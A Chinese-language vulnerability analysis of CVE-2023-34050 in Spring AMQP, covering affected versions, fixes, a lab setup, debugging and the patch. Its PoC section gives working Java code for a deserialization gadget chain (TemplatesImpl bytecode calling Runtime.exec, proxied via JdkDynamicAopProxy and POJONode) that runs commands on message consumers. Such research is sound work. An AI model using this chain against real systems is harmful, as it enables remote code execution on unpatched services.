Spring AMQP 反序列化漏洞分析(CVE-2023-34050)

渗透技巧 12个月前 admin
299 0 0

1. 前言

官方公告:
https://spring.io/security/cve-2023-34050

漏洞描述         

2016 年,Spring AMQP 中添加了可反序列化类名的允许列表模式,允许用户锁定来自不受信任来源的消息中数据的反序列化;但是默认情况下,当未提供允许的列表时,所有类都可以反序列化。

利用条件:

  • 使用 SimpleMessageConverter 或 SerializerMessageConverter

  • 用户未配置允许列表模式

  • 不受信任的消息发起者获得将消息写入 RabbitMQ 代理以发送恶意内容的权限

影响版本:          

Spring AMQP:

· 1.0.0 到 2.4.16
· 3.0.0 到 3.0.9

Spring Boot 2.7.17、3.0.12、3.1.5、3.2.0版本之前。

修复建议:

  • 不允许不受信任的来源访问 RabbitMQ 服务器

  • 版本低于 2.4.17 的用户应升级到 2.4.17

  • 使用版本 3.0.0 至 3.0.9 的用户应升级到 3.0.10    

简介         

AMQP(Advanced Message Queuing ,高级消息队列协议)是一种使用广泛的独立于语言的消息协议,它定义了一种二进制格式的消息流,任何编程语言都可以实现该协议。实际应用最广泛的 AMQP 服务器是 RabbitMQ 。

2. 环境搭建

创建一个 Spring Boot 项目,引入图中几个模块。         
Spring AMQP 反序列化漏洞分析(CVE-2023-34050)

也可以手动添加 spring-rabbit 依赖:

<dependency>            <groupId>org.springframework.amqp</groupId>              <artifactId>spring-rabbit</artifactId>                <version>2.4.16</version>                </dependency>

这里使用的 Spring Boot 版本是 2.7.16,对应的 Spring AMQP 版本是 2.4.16;
导入 commons-beanutils 依赖,作为可利用的反序列化链。
   

<dependency>              <groupId>commons-beanutils</groupId>                <artifactId>commons-beanutils</artifactId>                  <version>1.9.1</version>                </dependency>                                   <dependency>                      <groupId>org.javassist</groupId>                        <artifactId>javassist</artifactId>                          <version>3.28.0-GA</version>                        </dependency>

需要起一个 RabbitMQ 服务,使用 docker 搭建,执行如下命令: 

docker run -d --name my-rabbit -p 5672:5672 -p 15672:15672 rabbitmq:3-management

docker ps看到启动后的信息;

Spring AMQP 反序列化漏洞分析(CVE-2023-34050)

访问对应端口,默认用户名/密码是guest/guest,登录则可以看到 RabbitMQ 管理页面。         
Spring AMQP 反序列化漏洞分析(CVE-2023-34050)

然后在 Spring Boot 中配置 RabbitMQ 服务的IP、端口、用户名、密码

spring.rabbitmq.host=192.168.xxx.xxx          spring.rabbitmq.port=5672          spring.rabbitmq.username=guest          spring.rabbitmq.password=guest          server.port = 8081

写一个配置类,自定义一个myQueue队列和myExchange交换机,并且绑定myExchangemyQueue,使myExchange交换机接收到的消息发送到myQueue队列;

import org.springframework.amqp.core.*;          import org.springframework.context.annotation.Bean;          import org.springframework.context.annotation.Configuration;          
@Configuration public class RabbitConfig { //自定义队列 @Bean public Queue MyQueue() { return new Queue("myQueue", true); } //自定义交换机 @Bean public DirectExchange MyExchange() { return new DirectExchange("myExchange");     }         //绑定交换机和队列 @Bean public Binding binding() { return BindingBuilder.bind(MyQueue()).to(MyExchange()).with("blckder02"); } }

在管理页面可以看到创建的交换机和队列,以及绑定信息;如果代码绑定不成功,就手动在管理页面绑定。         
Spring AMQP 反序列化漏洞分析(CVE-2023-34050)

写一个发送消息的方法,其中routingKey字段要和上面绑定交换机和队列处with(“blckder02”)一致,这里都设为blckder02

import org.springframework.amqp.rabbit.core.RabbitTemplate;   import org.springframework.beans.factory.annotation.Autowired;  import org.springframework.stereotype.Service;          
@Service public class MessageSenderService { private final RabbitTemplate rabbitTemplate; @Autowired public MessageSenderService(RabbitTemplate rabbitTemplate) { this.rabbitTemplate = rabbitTemplate; }      public void sendMessage (Object message) { rabbitTemplate.convertAndSend("myExchange", "blckder02", message); System.out.println("Message Sent Success"); } }

再写一个监听myQueue队列的方法,使用@RabbitListener指定要监听的队列名称;

import org.springframework.amqp.rabbit.annotation.RabbitListener;          import org.springframework.stereotype.Service;                    @Service          public class MyService {                        @RabbitListener(queues = "myQueue")              public void recevie(Object result) {                  System.out.println("监听到消息了");                  System.out.println(result);              }          }   

简单写一个 Controller 测试一下服务搭建是否成功;

@RestControllerpublic class MessageController {
    private final MessageSenderService messageSenderService; @Autowired public MessageController(MessageSenderService messageSenderService) { this.messageSenderService = messageSenderService; } @GetMapping("/testsend") public void testsendMessage (Object message) { messageSenderService.sendMessage("Hello RabbitMQ!"); } }

下断点慢慢执行,就可以看见队列中的消息数量,执行太快的话消息很快就处理完了,就不会显示; 
能显示则说明服务搭建成功。         
Spring AMQP 反序列化漏洞分析(CVE-2023-34050)

3. poc构造

先准备一个 CommonBeanutils 的反序列化链的 templatesImpl 对象,抛出AmqpRejectAndDontRequeueException异常,避免陷入死循环;

public class CommonBeanutils1 {              public static TemplatesImpl createTemplatesImpl(String cmd) {                  try {                      TemplatesImpl templates = TemplatesImpl.class.newInstance();                             ClassPool pool = ClassPool.getDefault();                      pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));                      CtClass cc = pool.makeClass("Cat");                      String cmdSrc = String.format("try { java.lang.Runtime.getRuntime().exec("" + cmd + ""); throw new org.springframework.amqp.AmqpRejectAndDontRequeueException("err"); } ");                      cc.makeClassInitializer().insertBefore(cmdSrc);                      String randomClassName = "Calc" + System.nanoTime();                      cc.setName(randomClassName);                      cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
setField(templates, "_name", "name"); setField(templates,"_bytecodes",new byte[][]{cc.toBytecode()}); setField(templates, "_tfactory", new TransformerFactoryImpl()); setField(templates, "_class", null); return templates; } catch (Exception e) { e.printStackTrace(); return null; } } public static void setField(Object object,String field,Object args) throws Exception{ Field f0 = object.getClass().getDeclaredField(field); f0.setAccessible(true); f0.set(object,args); } }

在 Controller 中定义发送消息的方法,templates 需要用一个可被序列化的类包裹,POJONode依次继承于ValueNode -> BaseJsonNode并实现Serializable接口;         
但是 
POJONode 是 Jackson 包中的类,由于 Jackson 反序列化链不稳定,所以需要构造一个 JdkDynamicAopProxy 类的代理类,以保证稳定调用TemplatesImpl#getOutputProperties();         
而将 POJONode 对象赋给 BadAttributeValueExpException 对象的
val值,则是为了通过BadAttributeValueExpException.readObject()调用POJONode.toString(),从而调用到TemplatesImpl#getOutputProperties()

@GetMapping("/send") public void sendMessage (Object message) throws Exception {              TemplatesImpl templates = CommonBeanutils1.createTemplatesImpl("calc.exe");                            AdvisedSupport as = new AdvisedSupport();    as.setTarget(templates);     Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getDeclaredConstructor(AdvisedSupport.class);              constructor.setAccessible(true);     InvocationHandler jdkDynamicAopProxyHandler = (InvocationHandlerconstructor.newInstance(as);
    Templates templatesProxy = (Templates) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, jdkDynamicAopProxyHandler);           POJONode pojoNode = new POJONode(templatesProxy); BadAttributeValueExpException poc = new BadAttributeValueExpException(null); CommonBeanutils1.setField(poc, "val", pojoNode);
messageSenderService.sendMessage(poc);}

还有一个重要的点,就是重新定义com.fasterxml.jackson.databind.node .BaseJsonNode,并且删除writeReplace()方法,这样就不会出现java.lang.NullPointerException。具体原因文末细说。

Spring AMQP 反序列化漏洞分析(CVE-2023-34050)

运行看看,成功执行命令,并且消息中能看到传递的 poc 。 Spring AMQP 反序列化漏洞分析(CVE-2023-34050)

4. 调试分析

直接跟进RabbitTemplate.conveAndSend(),先将消息转换为Message类型,调用的消息转换器是默认的SimpleMessageConverter;         
Spring AMQP 反序列化漏洞分析(CVE-2023-34050)

在进行toMessage()时会调用createMessage(),这里面会判断传入消息对象的类型,这里 BadAttributeValueExpException 对象是实现了 Serializable 接口的,所以将对象进行序列化,并且把 content-type 类型设为application/x-java-serialized-object,然后返回 Message 对象;
Spring AMQP 反序列化漏洞分析(CVE-2023-34050)

然后将 Message 发送到 Rabbit 服务;         
Spring AMQP 反序列化漏洞分析(CVE-2023-34050)

在监听接收消息时,会调用SimpleMessageConverter.fromMessage(),判断了 content-type 类型符合application/x-java-serialized-object,于是调用SerializationUtils.deserialize()对 message 进行反序列化;
Spring AMQP 反序列化漏洞分析(CVE-2023-34050)

在 SimpleMessageConverter 中重写了CodebaseAwareObjectInputStream#resolveClass()方法,调用了checkAllowedList()对反序列化的类进行校验;         
Spring AMQP 反序列化漏洞分析(CVE-2023-34050)

然而allowedListPatterns默认为空,并没有起到白名单校验的作用,就导致任意类都允许被反序列化;         
Spring AMQP 反序列化漏洞分析(CVE-2023-34050)

最后看到熟悉的触发点。         
Spring AMQP 反序列化漏洞分析(CVE-2023-34050)

5. 补丁分析

补丁地址:https://github.com/spring-projects/spring-amqp/compare/v2.4.16…v2.4.17?diff=split

Spring AMQP 2.4.17 相较于 2.4.16 版本新增了环境变量SPRING_AMQP_DESERIALIZATION_TRUST_ALL和 JVM 属性spring.amqp.deserialization.trust.all,只有两个值都为 true时, TRUST_ALL变量才为 true;         
Spring AMQP 反序列化漏洞分析(CVE-2023-34050)

checkAllowedList()方法中也是增加了对TRUST_ALL的判断。        
Spring AMQP 反序列化漏洞分析(CVE-2023-34050)

6. 踩的坑

因为对 AMQP 不是很熟悉,试错了好多次才勉强复现出来。

1.删除 BaseJsonNode.writeReplace

使用原本的 BaseJsonNode 的话,在发送消息序列化的时候会调用BaseJsonNode.writeReplace(),最后也会调用TemplatesImpl.getOutputProperties()触发命令执行;

但是这里触发后会报错NullPointerException,导致消息传递中断。 Spring AMQP 反序列化漏洞分析(CVE-2023-34050)

删除掉BaseJsonNode.writeReplace()就调用的是UnmodifiableRandomAccessList.writeReplace(),消息能继续传递。         
Spring AMQP 反序列化漏洞分析(CVE-2023-34050)

2.Jackson 反序列化链不稳定

可以学习这篇文章:https://xz.aliyun.com/t/12846

3. 抛出 org.springframework.amqp.AmqpRejectAndDontRequeueException异常

因为在执行 CommonBeanutils 链时必然会出现报错,导致消息处理不成功,就会让消息重新排队处理,然后又报错,陷入死循环。

抛出这个异常可以避免无限次地重试失败的消息,节约系统资源。

4. 消息未处理,删除队列

由于消息处理失败,还是会留存在队中,处于unacked状态,当测试程序再次启动时,就会优先处理队列中留存消息。

所以在复现过程中如果队列中还留存有上一次测试的消息,可以把队列删除重新创建。   


参考链接:

https://exp10it.cn/2023/10/spring-amqp-反序列化漏洞-cve-2023-34050-分析/
https://boogipop.com/2023/04/24/AliyunCTF 2023 WriteUP/
https://blog.csdn.net/qq_43655835/article/details/106827158

原文始发于微信公众号(中孚安全技术研究):Spring AMQP 反序列化漏洞分析(CVE-2023-34050)

版权声明:admin 发表于 2023年11月23日 上午11:53。
转载请注明:Spring AMQP 反序列化漏洞分析(CVE-2023-34050) | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...